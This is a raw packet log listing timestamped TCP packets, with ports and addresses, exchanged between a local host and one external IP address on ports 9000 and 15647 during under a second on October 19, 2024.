Oct 19, 2024 03:37:09.778917074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778935909 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.778964043 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.779145002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779156923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779166937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779176950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779186964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779203892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.779237986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.779417992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779429913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779438972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779443979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779448986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779453993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.779464960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.779500961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.787913084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.809334993 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.819128036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.819137096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.819145918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.819160938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.819200993 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.819236040 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.836432934 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.866844893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.866854906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.866862059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.867017031 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870229006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870268106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870279074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870290995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870332956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870393038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870404005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870413065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870454073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870492935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870503902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870512962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870548010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870560884 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870599031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870610952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.870641947 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.870654106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.871001959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.871051073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.871076107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.871087074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.871124983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.882205009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897258997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897278070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897289038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897300005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897358894 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.897433996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897445917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897456884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897483110 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.897588968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897599936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897609949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897622108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897633076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897636890 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.897672892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.897814035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897825956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897869110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897880077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.897895098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.897923946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898020983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898031950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898044109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898053885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898063898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898075104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898077965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898094893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898123026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898241043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898251057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898261070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898289919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898361921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898371935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898382902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898415089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898433924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898487091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898499012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898544073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898597002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898607969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898617983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898670912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898739100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898751020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898760080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898771048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898787975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898809910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898891926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898902893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898912907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898924112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.898947954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.898968935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899108887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899120092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899130106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899139881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899162054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899183989 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899255037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899266958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899307966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899312973 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899319887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899332047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899348974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899379969 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899468899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899534941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899584055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899605989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899616957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899626970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899636984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899646997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899657011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899698019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.899815083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899825096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.899868011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.939409018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.939421892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.939431906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.939472914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.939512014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.944916964 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.949695110 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.953792095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986735106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986799002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986808062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986841917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986846924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.986851931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986864090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.986880064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.986901045 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990364075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990381956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990391970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990463972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990545034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990555048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990564108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990601063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990611076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990624905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990637064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990670919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990699053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990709066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990757942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.990777969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990787983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.990844965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.991013050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.991051912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.991060972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.991096973 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.991097927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.991136074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.006666899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017225027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017247915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017256021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017281055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017309904 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017328024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017338037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017342091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017373085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017414093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017424107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017433882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017463923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017519951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017566919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017595053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017654896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017666101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017676115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017700911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017719984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017798901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017810106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017852068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017863035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017874002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017910004 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.017957926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017970085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.017981052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018011093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018037081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018086910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018117905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018129110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018170118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018194914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018207073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018248081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018276930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018285990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018296003 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018326044 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018409967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018420935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018429995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018459082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018482924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018512964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018523932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018563986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018634081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018644094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018656015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018686056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018764973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018775940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018785954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018812895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018836021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018914938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018924952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018934965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018945932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018955946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.018964052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.018987894 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019164085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019175053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019184113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019193888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019205093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019217968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019243956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019371033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019382000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019392967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019413948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019498110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019510031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019519091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019529104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019548893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019572020 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019646883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019659042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019668102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019695997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019705057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019711971 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019717932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019727945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019742966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.019753933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019782066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.019942999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.054130077 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.059350967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.059398890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.059406996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.059418917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.059420109 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.059453964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.100420952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.103296995 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.103308916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.107052088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.107062101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.107080936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.107124090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.107340097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.107398987 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.110523939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110533953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110543966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110575914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.110683918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110696077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110706091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110716105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110723972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.110726118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110734940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110744953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.110780001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.110938072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110948086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110956907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110968113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110977888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.110989094 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.111020088 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.111088037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111099005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111108065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111159086 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.111260891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111269951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111280918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111325979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.111334085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.111437082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.137454033 CEST	9000	49705	213.109.202.97	192.168.2.5
